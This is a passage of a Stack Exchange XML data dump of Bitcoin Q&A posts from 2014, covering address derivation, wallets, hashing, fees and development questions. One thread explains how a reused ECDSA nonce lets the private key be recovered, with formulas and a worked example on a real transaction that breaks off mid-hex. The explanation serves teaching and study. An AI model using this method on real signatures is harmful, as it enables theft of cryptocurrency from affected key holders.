&lt;em&gt;is&lt;/em&gt; safe to say that you'll always be able to find something to read your MultiBit backup and send the money to a new address.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What is done behind the scenes with this private key to find the public key and the address?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The private key (which is a 256-bit number) is multiplied by the &lt;a href=&quot;https://en.bitcoin.it/wiki/Secp256k1&quot; rel=&quot;nofollow noreferrer&quot;&gt;base point&lt;/a&gt;, which is a point on Bitcoin's elliptic curve. This is done with some fairly complicated &lt;a href=&quot;https://bitcoin.stackexchange.com/a/25039/12034&quot;&gt;mathematical calculations&lt;/a&gt;. The result is the public key, which is another point on the elliptic curve. To calculate the address from the public key, you follow an algorithm with various hashings and a checksum. This is detailed &lt;a href=&quot;https://en.bitcoin.it/wiki/Technical_background_of_Bitcoin_addresses&quot; rel=&quot;nofollow noreferrer&quot;&gt;at the Bitcoin wiki&lt;/a&gt;, which can be represented by this pseudocode:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;160_hash = RIPEMD-160(SHA256(public key))&#xA;double_hash = SHA-256(SHA-256(0x00 + 160_hash))&#xA;address = base58(160_hash + double_hash[0:4])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To sum up, private key -&gt; public key, and public key -&gt; address are easy, while the reverse of each of this is (believed to be) practically impossible.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;The most important part to take away from all this, is that one private key corresponds to one address. If you generate a new address, you have a new private key, and need to make sure it's backed up!&lt;/p&gt;&#xA;" OwnerUserId="12034" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2014-06-06T12:21:54.430" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25801" PostTypeId="1" CreationDate="2014-06-06T12:23:29.480" Score="2" ViewCount="109" Body="&lt;p&gt;I really want to study the source in detail. I'm using windows so can't compile the source on Github. I found one here : &lt;a href=&quot;http://bitcoinqtmsvc2012.codeplex.com/&quot; rel=&quot;nofollow&quot;&gt;http://bitcoinqtmsvc2012.codeplex.com/&lt;/a&gt;, but couldn't get it to compile even after downloadinng and installing all dependencies required.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone please refer me to a compilable version of bitcoin in visual studio format?&lt;/p&gt;&#xA;" OwnerUserId="17102" LastActivityDate="2014-06-06T16:56:34.320" Title="Where can I get the source code of Bircoin or ANY other cryptocurrency compilable in Visual Studio?" Tags="|bitcoind|bitcoin-core|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25802" PostTypeId="2" ParentId="25794" CreationDate="2014-06-06T13:13:10.717" Score="0" Body="&lt;p&gt;i think you are missing something :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to the address book and, by long tapping, choose &quot;set as default address&quot;.&#xA;That address will be the one that generate the qr code.&lt;/p&gt;&#xA;" OwnerUserId="6693" LastActivityDate="2014-06-06T13:13:10.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25803" PostTypeId="1" AcceptedAnswerId="25804" CreationDate="2014-06-06T13:14:07.860" Score="4" ViewCount="202" Body="&lt;p&gt;If I sign a message with one of the address from an HD wallet, does that prove control over the rest of the addresses created and will be created inside that HD wallet?&lt;/p&gt;&#xA;" OwnerUserId="2995" LastEditorUserId="2306" LastEditDate="2015-04-22T18:19:52.397" LastActivityDate="2015-04-22T18:19:52.397" Title="How can I prove control of HD wallet through message signing?" Tags="|bip32-hd-wallets|message-signing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25804" PostTypeId="2" ParentId="25803" CreationDate="2014-06-06T13:24:48.593" Score="2" Body="&lt;p&gt;It proves that you control all children of that address (i.e. the ones further &lt;strong&gt;down&lt;/strong&gt; the chain). It does not prove that you own the parents of that address (i.e. the ones further &lt;strong&gt;up&lt;/strong&gt; the chain), since it's not possible (AFAIK) to go from a child to a parent key.&lt;/p&gt;&#xA;" OwnerUserId="12034" LastActivityDate="2014-06-06T13:24:48.593" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25805" PostTypeId="2" ParentId="25801" CreationDate="2014-06-06T16:47:48.487" Score="2" Body="&lt;p&gt;The source to bitcoinqt is windows compatible, if it wasnt then there wouldn't be a Windows port of it. I would assume you need to install Cygwin to get the appropriate development tools such as gcc. Since you dont know about Cygwin, I can only assume you dont know how to compile software on *NIX. Change the current directory to that of bitcoinqt, and then type &quot;./configure&quot; and then &quot;make&quot;. That usually works, you might need to specify options to configure, which you can find out with &quot;./configure --help&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can't get a project to compile then you really should be asking Stack Overflow about the compilation errors instead of posting here. And just saying it doesn't compile doesnt provide anyone with enough information to tell you why it isnt compiling.&lt;/p&gt;&#xA;" OwnerUserId="15695" LastEditorUserId="15695" LastEditDate="2014-06-06T16:56:34.320" LastActivityDate="2014-06-06T16:56:34.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25806" PostTypeId="1" AcceptedAnswerId="25815" CreationDate="2014-06-06T18:58:46.103" Score="9" ViewCount="28170" Body="&lt;p&gt;There are rumors that the creator of Bitcoin, &lt;a href=&quot;https://en.bitcoin.it/wiki/Satoshi_Nakamoto&quot; rel=&quot;noreferrer&quot;&gt;Satoshi Nakamoto&lt;/a&gt;, currently possess as much as 1.5m bitcoins. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the steps involved to determine / guess how many coins Satoshi has?&lt;/p&gt;&#xA;" OwnerUserId="1475" LastActivityDate="2014-06-07T06:15:21.420" Title="How many coins does Satoshi have?" Tags="|blockchain|satoshi-nakamoto|" AnswerCount="1" CommentCount="6" ClosedDate="2014-06-17T11:00:55.860" ContentLicense="CC BY-SA 3.0" />
  <row Id="25808" PostTypeId="1" CreationDate="2014-06-06T21:53:20.940" Score="2" ViewCount="191" Body="&lt;p&gt;I am trying to implement JavaScript interpreter for Bitcoin scripts, but I have problem with counting value of OP_HASH160. I found that&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hash160(x) = RIPEMD160(SHA256(x))&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I try to count it this way using CryptoJS library, I get different value than on page &lt;a href=&quot;http://paulkernfeld.com/bse/&quot; rel=&quot;nofollow&quot;&gt;http://paulkernfeld.com/bse/&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;CryptoJS.RIPEMD160(CryptoJS.SHA256(&lt;strong&gt;&quot;02c34538fc933799d972f55752d318c0328ca2bacccd5c7482119ea9da2df70a2f&quot;&lt;/strong&gt;)).toString() = &quot;e81794c3da1564a196665dd0f74483185f524fe2&quot;&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;where &lt;strong&gt;&quot;02c34538fc933799d972f55752d318c0328ca2bacccd5c7482119ea9da2df70a2f&quot;&lt;/strong&gt; is the first element on the top of the stack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could somebody explain how exactly operation OP_HASH160 works?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thx! :)&lt;/p&gt;&#xA;" OwnerUserId="17107" LastActivityDate="2014-12-04T03:03:54.533" Title="Problem with value after OP_HASH160" Tags="|script|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25809" PostTypeId="2" ParentId="25808" CreationDate="2014-06-06T23:46:28.097" Score="1" Body="&lt;p&gt;If the output of SHA256 is hex, you must convert hex to bytes before passing that to RIPEMD160.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://procbits.com/2013/08/27/generating-a-bitcoin-address-with-javascript&quot; rel=&quot;nofollow&quot;&gt;http://procbits.com/2013/08/27/generating-a-bitcoin-address-with-javascript&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; var hash160 = Crypto.RIPEMD160(Crypto.util.hexToBytes(Crypto.SHA256(publicKeyBytes)))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="628" LastEditorUserId="628" LastEditDate="2014-06-06T23:56:27.400" LastActivityDate="2014-06-06T23:56:27.400" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="25810" PostTypeId="1" CreationDate="2014-06-06T23:55:20.450" Score="0" ViewCount="33" Body="&lt;p&gt;Please is there any web site that purpose web services, to export Market rate value of different currency even bitcoin.&lt;/p&gt;&#xA;" OwnerUserId="17109" LastActivityDate="2014-09-05T16:28:24.240" Title="Export Market realtime rate" Tags="|currencies|market|options|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25811" PostTypeId="1" AcceptedAnswerId="25812" CreationDate="2014-06-07T01:26:12.563" Score="3" ViewCount="87" Body="&lt;p&gt;When specifying the details for the payment object I have noticed that if I leave &lt;strong&gt;amount&lt;/strong&gt; blank I am not prompted to enter an amount by the bitcoin-qt 0.9 client.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;xpd = x.PaymentDetails()&#xA;xpd.time = int(time())&#xA;xpd.outputs.add(amount = 10000000, script = serialized_script)&#xA;xpd.memo = 'this is xpd memo'&#xA;xpdstring = xpd.SerializeToString()&#xA;xpr = x.PaymentRequest()&#xA;xpr.serialized_payment_details = xpd.SerializeToString()&#xA;xprstring = xpd.SerializeToString()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I do not specify an amount then it is set to zero by default and I am presented with the error that the bitcoin amount is too small and is considered 'dust'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please can someone help me understand how to prompt the user for a deposit amount if the amount field is blank?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally I should note that I am using the testnet.&lt;/p&gt;&#xA;" OwnerUserId="15533" LastActivityDate="2014-06-07T02:17:15.393" Title="Prompt user for payment amount using bitcoin bip 70?" Tags="|bitcoind|bip70-payment-protocol|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25812" PostTypeId="2" ParentId="25811" CreationDate="2014-06-07T02:17:15.393" Score="1" Body="&lt;p&gt;This is a &lt;a href=&quot;https://github.com/bitcoin/bitcoin/issues/3095&quot; rel=&quot;nofollow&quot;&gt;known bug&lt;/a&gt; in Bitcoin-QT.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-06-07T02:17:15.393" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25814" PostTypeId="1" AcceptedAnswerId="32546" CreationDate="2014-06-07T05:41:52.527" Score="9" ViewCount="28870" Body="&lt;p&gt;The following link contains details on how to reverse the ECDSA signature if given two identical &quot;R&quot; values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.nilsschneider.net/2013/01/28/recovering-bitcoin-private-keys.html&quot;&gt;http://www.nilsschneider.net/2013/01/28/recovering-bitcoin-private-keys.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have read over this and there's one part I don't understand; how he got the &quot;z&quot; values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does a copy and paste of&#xA;&quot;OP_DUP OP_HASH160 70792fb74a5df745bac07df6fe020f871cbb293b OP_EQUALVERIFY OP_CHECKSIG&quot; (minus the quotations) into a ripemod-160 hashing function produce that result? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did he have to essentially copy and paste some other string?  Did he just ripemod or sha 256d?  Did he have to do it more than once?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've read up on these things but I just cannot decipher their programming description of how to do it.  The non-programming descriptions don't show &quot;hey this 'xyzx' is what I'm referring to when I say 'message to be signed'&quot; or whatever.  Many things on that page and on the &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/tx/9ec4bc49e828d924af1d1029cacf709431abbde46d59554b62bc270e3b29c4b1&quot;&gt;https://blockchain.info/tx/9ec4bc49e828d924af1d1029cacf709431abbde46d59554b62bc270e3b29c4b1&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seem as though they could adequately be described as the &quot;message to be signed&quot; besides the fact I don't know what type of hash is being applied to even compare my calculations with the ones shown on the first link.&lt;/p&gt;&#xA;" OwnerUserId="15552" LastActivityDate="2022-05-10T14:49:39.240" Title="ECDSA Signature and the &quot;z&quot; value" Tags="|signature|hash|ecdsa|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25815" PostTypeId="2" ParentId="25806" CreationDate="2014-06-07T06:15:21.420" Score="4" Body="&lt;p&gt;Most people have estimated his wealth to be around 1 Million BTC. Don't take my word for it though this post &lt;a href=&quot;https://bitslog.wordpress.com/2013/04/17/the-well-deserved-fortune-of-satoshi-nakamoto/&quot; rel=&quot;noreferrer&quot;&gt;https://bitslog.wordpress.com/2013/04/17/the-well-deserved-fortune-of-satoshi-nakamoto/&lt;/a&gt; is often the first referring to this discussion.&lt;/p&gt;&#xA;" OwnerUserId="11189" LastActivityDate="2014-06-07T06:15:21.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25816" PostTypeId="1" CreationDate="2014-06-07T09:46:28.623" Score="1" ViewCount="174" Body="&lt;p&gt;I have installed the BitCoin wallet application on my PC, so that I can cold store my BitCoin. It's &quot;Synchronizing with the network&quot; and has 272 weeks of BC left to download (painfully slow!!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to know is, why do I need to download the BC in order to send/receive funds from my wallet. Is this absolutely necessary?&lt;/p&gt;&#xA;" OwnerUserId="9342" LastActivityDate="2014-07-07T17:50:55.867" Title="Purpose of a BlockChain in local wallet application" Tags="|wallet|blockchain|bitcoin-core|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25817" PostTypeId="1" CreationDate="2014-06-07T11:11:57.907" Score="3" ViewCount="1070" Body="&lt;p&gt;I want my customers to pay transaction fees. The only helpful but incomplete answer I have found so far is from &lt;a href=&quot;http://sourceforge.net/p/bitcoin/mailman/message/31855446&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;You can create a transaction which spends the output to yourself, attaching a fee to that transaction. In order for miners to grab the transaction fee on that transaction, they would have to also mine the original transaction.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I have some experience of calling &lt;strong&gt;bitcoind&lt;/strong&gt; methods using JSON. With these assumptions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;my account: &quot;my&quot;&#xA;receiver's address: &quot;123..zyz&quot;&#xA;coins to be sent: 0.001&#xA;transaction fee: (unpredictable)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;my customer will receive 0.0008 coins if the transaction fee is 0.0002 in this case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I supposed to first call method &lt;strong&gt;sendfrom&lt;/strong&gt; like below?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;sendfrom(&quot;my&quot;,&quot;123..zyz&quot;,0.001)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then how do I determine the transaction fee? How do I charge the transaction fee to the receiver?&#xA;Would kind soul please provide me the detail answer with complete list of calls to &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&quot; rel=&quot;nofollow&quot;&gt;Original Bitcoin client/API calls&lt;/a&gt;?&lt;/p&gt;&#xA;" OwnerUserId="17118" LastEditorUserId="15412" LastEditDate="2014-06-08T18:42:08.920" LastActivityDate="2014-06-08T18:42:08.920" Title="Let receivers pay transaction fees" Tags="|transactions|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="25819" PostTypeId="2" ParentId="25816" CreationDate="2014-06-07T12:39:52.713" Score="1" Body="&lt;p&gt;The &lt;a href=&quot;https://en.bitcoin.it/wiki/Block_chain&quot; rel=&quot;nofollow&quot;&gt;blockchain&lt;/a&gt; is the full record of all Bitcoin transactions. Without it, we wouldn't know how much each address is able to spend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are &lt;a href=&quot;https://bitcoin.org/en/choose-your-wallet&quot; rel=&quot;nofollow&quot;&gt;some clients&lt;/a&gt; (called lightweight clients) that rely on their peers' blockchains while others like Bitcoin Core (sometimes called a full client/node) store the blockchain themselves. If you choose a full client, you should expect to download and store the blockchain (~21 GB currently). You can speed up the initial sync by download bootstrap.dat from a torrent, &lt;a href=&quot;https://bitcoin.org/en/download&quot; rel=&quot;nofollow&quot;&gt;as instructed here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you're describing, though, is not &lt;a href=&quot;https://en.bitcoin.it/wiki/Cold_storage&quot; rel=&quot;nofollow&quot;&gt;cold storage&lt;/a&gt;! Cold storage means that the keys are only accessible via offline means, like a piece of paper, or a computer that is never connected to the Internet.&lt;/p&gt;&#xA;" OwnerUserId="12034" LastActivityDate="2014-06-07T12:39:52.713" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25820" PostTypeId="2" ParentId="25814" CreationDate="2014-06-07T13:35:18.227" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;We just need to find z1 and z2! These are the hashes of the outputs to be signed. Let’s fetch the output transations and calculate them (it is calculated by OP_CHECKSIG):&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The Bitcoin wiki's page on &lt;a href=&quot;https://en.bitcoin.it/wiki/OP_CHECKSIG&quot; rel=&quot;nofollow&quot;&gt;OP_CHECKSIG&lt;/a&gt; and the &lt;a href=&quot;https://en.bitcoin.it/w/images/en/7/70/Bitcoin_OpCheckSig_InDetail.png&quot; rel=&quot;nofollow&quot;&gt;picture&lt;/a&gt; there show what is signed: essentially, the new transaction with the txin's removed and the transaction output inserted. It's the hash of these bytes that is actually signed, which are &lt;code&gt;z1&lt;/code&gt; and &lt;code&gt;z2&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This pseudocode might help clarify how the &lt;code&gt;z&lt;/code&gt;s are used:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def sign(priv_key, txin_index):&#xA;    z = get_data_to_sign(txin_index) # uses algorithm at https://en.bitcoin.it/w/images/en/7/70/Bitcoin_OpCheckSig_InDetail.png&#xA;    r = super_secure_random()&#xA;    s = ECDSA_sign(priv_key, z, r)&#xA;    return r, s&#xA;&#xA;def verify(pub_key, txin_index, r, s):&#xA;    z = get_data_to_sign(txin_index)&#xA;    ECDSA_verify(pub_key, z, r, s)&#xA;&#xA;def super_secure_random():&#xA;    return 4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12034" LastEditorUserId="12034" LastEditDate="2014-06-07T13:46:20.243" LastActivityDate="2014-06-07T13:46:20.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25821" PostTypeId="2" ParentId="25763" CreationDate="2014-06-07T13:56:17.413" Score="1" Body="&lt;p&gt;Cryptsy is generating a new address per user.&#xA;Once generated it remains the same so there is no risk to deposit to &quot;old address&quot;.&#xA;This is scalable and also easier to associate deposits to the right user independently from the sending address.&lt;/p&gt;&#xA;" OwnerUserId="6693" LastActivityDate="2014-06-07T13:56:17.413" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25822" PostTypeId="2" ParentId="25817" CreationDate="2014-06-07T15:12:57.213" Score="1" Body="&lt;p&gt;For precise calculations consider using raw transactions. Then you have to decide how this transaction fee will be calculated. For single output transactions it's clear, you deduct the tx fee from the receiving amount, although for some micro-payments this is not possible as the tx fee might be bigger than the actual payout amount. Batching your outgoing payments (pay many outputs in a single tx) will help reduce the transaction fees for your customers but in this case you have to decide who pays what. The tx fee is what is left if you deduct your outputs total amount (change included in that) from your inputs total amount. You can also chose to charge a flat fee per tx which is less precise but more transparent for your clients and easier for your calculations.&lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastEditorDisplayName="user11221" LastEditDate="2014-06-08T08:54:53.190" LastActivityDate="2014-06-08T08:54:53.190" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25823" PostTypeId="1" CreationDate="2014-06-07T15:13:05.667" Score="0" ViewCount="520" Body="&lt;p&gt;I am messing with the Bitcoin sourcecode. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally when you want to send some BTC you type :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./bitcoind sendtoaddress 1ADRESSS 0.001 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How would you do this in the sourcecode on a recurring basis? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what code is needed to send a transaction to a specified address each time a block is created? Almost like a tax. and where would this code be placed? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am learning the Inside of the Bitcoin protocol and C++ so any help would be great. &lt;/p&gt;&#xA;" OwnerUserId="17120" LastEditorUserId="5406" LastEditDate="2016-04-25T19:17:24.680" LastActivityDate="2016-04-25T19:17:24.680" Title="Bitcoin Transaction within source code" Tags="|transactions|bitcoind|bitcoin-core-development|sending|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25825" PostTypeId="2" ParentId="25823" CreationDate="2014-06-07T15:23:52.337" Score="1" Body="&lt;p&gt;You can make use of the &lt;code&gt;-blocknotify=&amp;lt;cmd&amp;gt;&lt;/code&gt; facility as described under: &lt;a href=&quot;https://en.bitcoin.it/wiki/Running_Bitcoin&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.bitcoin.it/wiki/Running_Bitcoin&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a nice example of how to use &lt;code&gt;-walletnotify&lt;/code&gt;: &lt;a href=&quot;https://bitcoin.stackexchange.com/a/24483/11221&quot;&gt;https://bitcoin.stackexchange.com/a/24483/11221&lt;/a&gt;, &lt;code&gt;-blocknotify&lt;/code&gt; can be configured in exactly the same way.&lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2014-06-07T15:23:52.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25826" PostTypeId="2" ParentId="25624" CreationDate="2014-06-07T15:27:21.580" Score="1" Body="&lt;p&gt;as for making votes secret, we can use coinjoin.&#xA;Groups of 1000 people mix their votes together. You can prove that a person made one of the votes in the pool of 1000, but you cannot prove which vote was theirs.&lt;/p&gt;&#xA;" OwnerUserId="9415" LastActivityDate="2014-06-07T15:27:21.580" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25827" PostTypeId="2" ParentId="25810" CreationDate="2014-06-07T15:27:42.183" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://openexchangerates.org/&quot; rel=&quot;nofollow&quot;&gt;https://openexchangerates.org/&lt;/a&gt; is a great API for forex rates.&lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastActivityDate="2014-06-07T15:27:42.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25828" PostTypeId="1" AcceptedAnswerId="26914" CreationDate="2014-06-07T16:15:58.553" Score="7" ViewCount="1575" Body="&lt;p&gt;Seeing the release of coinprism wallet for colored coins and I'm also playing with Counterparty.&lt;/p&gt;&#xA;&lt;p&gt;What are the main differences among these two competing decentralized asset managers?&lt;/p&gt;&#xA;&lt;p&gt;I see that counterparty.co has their own currency XCP, but colored coins does not. Now the question is how many of these XCP coins does the developers control or the first few people that created them?&lt;/p&gt;&#xA;&lt;p&gt;And couldn't colored coins adopt what Counterparty is currently doing and make them obsolete? If not, why?&lt;/p&gt;&#xA;" OwnerUserId="3029" LastEditorUserId="121614" LastEditDate="2022-10-18T20:18:03.180" LastActivityDate="2022-10-18T20:18:03.180" Title="What are some of the advantages &amp; disadvantages of the following: Colored Coins and Counterparty" Tags="|decentralization|colored-coins|decentralized-assets|counterparty|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25829" PostTypeId="2" ParentId="25814" CreationDate="2014-06-07T23:59:48.130" Score="12" Body="&lt;p&gt;note: what Nils Schneider calls 'z',  i call 'm'.&lt;/p&gt;&#xA;&lt;p&gt;this gist implements all this: &lt;a href=&quot;https://gist.github.com/nlitsme/dda36eeef541de37d996&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gist.github.com/nlitsme/dda36eeef541de37d996&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h1&gt;the calculation&lt;/h1&gt;&#xA;&lt;p&gt;ecdsa signing is done as follows:&lt;/p&gt;&#xA;&lt;p&gt;given a message 'm', a sign-secret 'k', a private key 'x'&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; R = G*k  (elliptic curve scalar multiplication)&#xA; r = xcoordinate(R)&#xA; s = (m + x * r) / k     (mod q)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;q = the group order of secp256k1 = 2^256 - 432420386565659656852420866394968145599&lt;/p&gt;&#xA;&lt;p&gt;now if we have 2 signatures with identical k, we can write this as follows:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; s1 * k = ( m1 + x * r ) (mod q)&#xA; s2 * k = ( m2 + x * r ) (mod q)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;substract these two equations, leading to:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;(s1-s2)*k = (m1-m2)      (mod q)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;so the sign-secret 'k'  can now be calculated like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;k = (m1-m2)/(s1-s2)      (mod q)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and given k, the private key can be calculated like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;x = (s1*k-m1) / r        (mod q)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h1&gt;practical example&lt;/h1&gt;&#xA;&lt;p&gt;This example uses &lt;a href=&quot;https://www.blockchain.com/btc/tx/9ec4bc49e828d924af1d1029cacf709431abbde46d59554b62bc270e3b29c4b1&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; transaction from 2012.&lt;/p&gt;&#xA;&lt;h2&gt;the original transaction&lt;/h2&gt;&#xA;&lt;p&gt;the lines below represent:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;the version field&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;the nr of inputs (02)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;the 2 inputs&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;the nr of outputs (01)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;the output&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;the locktime field&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;01 00 00 00&#xA;02&#xA; f6 4c 60 3e 2f 9f 4d af 70 c2 f4 25 2b 2d cd b0 7c c0 19 2b 72 38 bc 9c 3d ac ba e5 55 ba f7 01 01 00 00 00  8a 47 30 44 02 20 d4 7c e4 c0 25 c3 5e c4 40 bc 81 d9 98 34 a6 24 87 51 61 a2 6b f5 6e f7 fd c0 f5 d5 2f 84 3a d1 02 20 44 e1 ff 2d fd 81 02 cf 7a 47 c2 1d 5c 9f d5 70 16 10 d0 49 53 c6 83 65 96 b4 fe 9d d2 f5 3e 3e 01 41 04 db d0 c6 15 32 27 9c f7 29 81 c3 58 4f c3 22 16 e0 12 76 99 63 5c 27 89 f5 49 e0 73 0c 05 9b 81 ae 13 30 16 a6 9c 21 e2 3f 18 59 a9 5f 06 d5 2b 7b f1 49 a8 f2 fe 4e 85 35 c8 a8 29 b4 49 c5 ff  ff ff ff ff&#xA; 29 f8 41 db 2b a0 ca fa 3a 2a 89 3c d1 d8 c3 e9 62 e8 67 8f c6 1e be 89 f4 15 a4 6b c8 d9 85 4a 01 00 00 00  8a 47 30 44 02 20 d4 7c e4 c0 25 c3 5e c4 40 bc 81 d9 98 34 a6 24 87 51 61 a2 6b f5 6e f7 fd c0 f5 d5 2f 84 3a d1 02 20 9a 5f 1c 75 e4 61 d7 ce b1 cf 3c ab 90 13 eb 2d c8 5b 6d 0d a8 c3 c6 e2 7e 3a 5a 5b 3f aa 5b ab 01 41 04 db d0 c6 15 32 27 9c f7 29 81 c3 58 4f c3 22 16 e0 12 76 99 63 5c 27 89 f5 49 e0 73 0c 05 9b 81 ae 13 30 16 a6 9c 21 e2 3f 18 59 a9 5f 06 d5 2b 7b f1 49 a8 f2 fe 4e 85 35 c8 a8 29 b4 49 c5 ff  ff ff ff ff&#xA;01&#xA; a0 86 01 00 00 00 00 00 19 76 a9 14 70 79 2f b7 4a 5d f7 45 ba c0 7d f6 fe 02 0f 87 1c bb 29 3b 88 ac&#xA;00 00 